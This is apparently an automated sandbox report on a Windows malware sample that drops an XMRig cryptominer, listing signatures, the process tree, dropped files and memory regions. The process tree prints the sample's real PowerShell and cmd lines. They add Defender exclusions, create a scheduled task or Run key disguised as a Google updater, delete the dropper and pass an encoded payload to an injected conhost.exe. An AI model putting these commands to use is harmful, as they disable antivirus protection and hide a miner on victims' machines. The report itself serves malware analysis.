Resubmissions

25/01/2024, 16:55

240125-vfcyksbhgr10

24/01/2024, 17:15

240124-vstf4aecaj10

23/01/2024, 19:27

240123-x6cfvagbd910

23/01/2024, 19:27

240123-x6bvbafgem10

23/01/2024, 19:27

240123-x6bjjsgbd810

23/01/2024, 19:27

240123-x6ax1sfgek10

23/01/2024, 19:27

240123-x6abgsfgej10

23/01/2024, 19:27

240123-x591qagbd710

23/01/2024, 19:27

240123-x59d7agbd610

23/01/2024, 19:27

240123-x584esgbd510

Analysis

  • max time kernel
    1798s
  • max time network
    1791s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23/01/2024, 19:27

General

  • Target
    grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
  • Size 2.0MB
  • Sample240123-x6bvbafgem
  • SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 30 IoCs
  • Executes dropped EXE 1 IoCs
  • UPX packed file 31 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 30 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3460
      • C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\XJEzW6M7WvHaF3EX.exe
        "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\XJEzW6M7WvHaF3EX.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:1040
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3240
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3948
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\XJEzW6M7WvHaF3EX.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4520
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:4612
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
          3⤵
            PID:4636
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
          2⤵
          • Drops file in System32 directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:1384
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
          2⤵
          • Drops file in System32 directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:4592
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
          2⤵
          • Drops file in Program Files directory
          • Suspicious use of WriteProcessMemory
          PID:1940
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
          2⤵
          • Drops file in Program Files directory
          PID:3936
        • C:\Windows\System32\conhost.exe
          C:\Windows\System32\conhost.exe qtdiqnkejoz
          2⤵
          • Suspicious use of NtCreateUserProcessOtherParentProcess
          • Suspicious behavior: EnumeratesProcesses
          PID:3544
        • C:\Windows\System32\conhost.exe
          C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
          2⤵
            PID:1504
        • C:\Windows\System32\choice.exe
          choice /C Y /N /D Y /T 3
          1⤵
            PID:676
          • C:\Program Files\Google\Chrome\updater.exe
            "C:\Program Files\Google\Chrome\updater.exe"
            1⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:4996
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic PATH Win32_VideoController GET Name, VideoProcessor
            1⤵
            • Detects videocard installed
            PID:4412

          Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

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                Downloads

                updater.exe

                • Path C:\Program Files\Google\Chrome\updater.exe
                • Size 16KB
                • SHA256 1231247ec1f54d1f055720437bcfc4dbf405a23109ab948612c000d8afe57794
                • MD5 SHA1 SHA512 SSDEEP

                updater.exe

                • Path C:\Program Files\Google\Chrome\updater.exe
                • Size 489KB
                • SHA256 ab6e83e455a2b61009a5c391d93b98688a875a92ab67db6053418fac38f758f8
                • MD5 SHA1 SHA512 SSDEEP

                g.log

                • Path C:\Program Files\Google\Libs\g.log
                • Size 226B
                • SHA256 b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
                • MD5 SHA1 SHA512

                powershell.exe.log

                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 2KB
                • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 d17623f3ba80ca3603ea0a05129473793a097ef3f4f2311fa355eb7febfd58ff
                • MD5 SHA1 SHA512

                __PSScriptPolicyTest_5vllclih.5yx.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5vllclih.5yx.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512

                powershell.exe.log

                • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 4KB
                • SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
                • MD5 SHA1 SHA512 SSDEEP

                StartupProfileData-NonInteractive

                • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
                • MD5 SHA1 SHA512

                memory/1040-0-0x00007FF6D8F80000-0x00007FF6D9191000-memory.dmp

                memory/1040-36-0x00007FF6D8F80000-0x00007FF6D9191000-memory.dmp

                memory/1384-82-0x00000265D1930000-0x00000265D1936000-memory.dmp

                memory/1384-74-0x00000265D16D0000-0x00000265D16EC000-memory.dmp

                memory/1384-83-0x00000265D1940000-0x00000265D194A000-memory.dmp

                memory/1384-80-0x00000265D1950000-0x00000265D196A000-memory.dmp

                memory/1384-81-0x00000265D1900000-0x00000265D1908000-memory.dmp

                memory/1384-79-0x00000265D18F0000-0x00000265D18FA000-memory.dmp

                memory/1384-84-0x00000265D0AA0000-0x00000265D0AB0000-memory.dmp

                memory/1384-77-0x00000265D1480000-0x00000265D148A000-memory.dmp

                memory/1384-78-0x00000265D1910000-0x00000265D192C000-memory.dmp

                memory/1384-87-0x00007FFCD5190000-0x00007FFCD5C51000-memory.dmp

                memory/1384-75-0x00000265D0AA0000-0x00000265D0AB0000-memory.dmp

                memory/1384-64-0x00000265D0AA0000-0x00000265D0AB0000-memory.dmp

                memory/1384-63-0x00000265D0AA0000-0x00000265D0AB0000-memory.dmp

                memory/1384-62-0x00007FFCD5190000-0x00007FFCD5C51000-memory.dmp

                memory/1384-76-0x00000265D16F0000-0x00000265D17A5000-memory.dmp

                memory/1504-146-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp

                memory/1504-158-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp

                memory/1504-188-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp

                memory/1504-186-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp

                memory/1504-184-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp

                memory/1504-182-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp

                memory/1504-180-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp

                memory/1504-178-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp

                memory/1504-176-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp

                memory/1504-174-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp

                memory/1504-172-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp

                memory/1504-170-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp

                memory/1504-168-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp

                memory/1504-166-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp

                memory/1504-164-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp

                memory/1504-162-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp

                memory/1504-160-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp

                memory/1504-156-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp

                memory/1504-154-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp

                memory/1504-152-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp

                memory/1504-150-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp

                memory/1504-148-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp

                memory/1504-144-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp

                memory/1504-120-0x00000230006C0000-0x00000230006E0000-memory.dmp

                memory/1504-119-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp

                memory/1504-125-0x0000023000730000-0x0000023000750000-memory.dmp

                memory/1504-142-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp

                memory/1504-127-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp

                memory/1504-128-0x0000023011200000-0x0000023011220000-memory.dmp

                memory/1504-129-0x0000023011220000-0x0000023011240000-memory.dmp

                memory/1504-131-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp

                memory/1504-140-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp

                memory/1504-133-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp

                memory/1504-134-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp

                memory/1504-136-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp

                memory/1504-137-0x0000023011200000-0x0000023011220000-memory.dmp

                memory/1504-138-0x0000023011220000-0x0000023011240000-memory.dmp

                memory/3240-11-0x00007FFCD5190000-0x00007FFCD5C51000-memory.dmp

                memory/3240-16-0x00007FFCD5190000-0x00007FFCD5C51000-memory.dmp

                memory/3240-13-0x00000131D88F0000-0x00000131D8900000-memory.dmp

                memory/3240-1-0x00000131C02E0000-0x00000131C0302000-memory.dmp

                memory/3240-12-0x00000131D88F0000-0x00000131D8900000-memory.dmp

                memory/3544-132-0x00007FF75D4B0000-0x00007FF75D4C6000-memory.dmp

                memory/3544-126-0x00007FF75D4B0000-0x00007FF75D4C6000-memory.dmp

                memory/3948-34-0x00007FFCD5190000-0x00007FFCD5C51000-memory.dmp

                memory/3948-32-0x000001EFA3730000-0x000001EFA3740000-memory.dmp

                memory/3948-31-0x000001EFA3730000-0x000001EFA3740000-memory.dmp

                memory/3948-28-0x00007FFCD5190000-0x00007FFCD5C51000-memory.dmp

                memory/3948-29-0x000001EFA3730000-0x000001EFA3740000-memory.dmp

                memory/3948-30-0x000001EFA3730000-0x000001EFA3740000-memory.dmp

                memory/4592-115-0x00007FFCD5190000-0x00007FFCD5C51000-memory.dmp

                memory/4592-101-0x000002B413B70000-0x000002B413B80000-memory.dmp

                memory/4592-100-0x000002B413B70000-0x000002B413B80000-memory.dmp

                memory/4592-99-0x00007FFCD5190000-0x00007FFCD5C51000-memory.dmp

                memory/4592-111-0x00007FF4DFC30000-0x00007FF4DFC40000-memory.dmp

                memory/4592-112-0x000002B413B70000-0x000002B413B80000-memory.dmp

                memory/4592-113-0x000002B413B70000-0x000002B413B80000-memory.dmp

                memory/4612-48-0x000001FC81570000-0x000001FC81580000-memory.dmp

                memory/4612-46-0x00007FFCD5190000-0x00007FFCD5C51000-memory.dmp

                memory/4612-51-0x00007FFCD5190000-0x00007FFCD5C51000-memory.dmp

                memory/4996-52-0x00007FF6CFFE0000-0x00007FF6D01F1000-memory.dmp

                memory/4996-121-0x00007FF6CFFE0000-0x00007FF6D01F1000-memory.dmp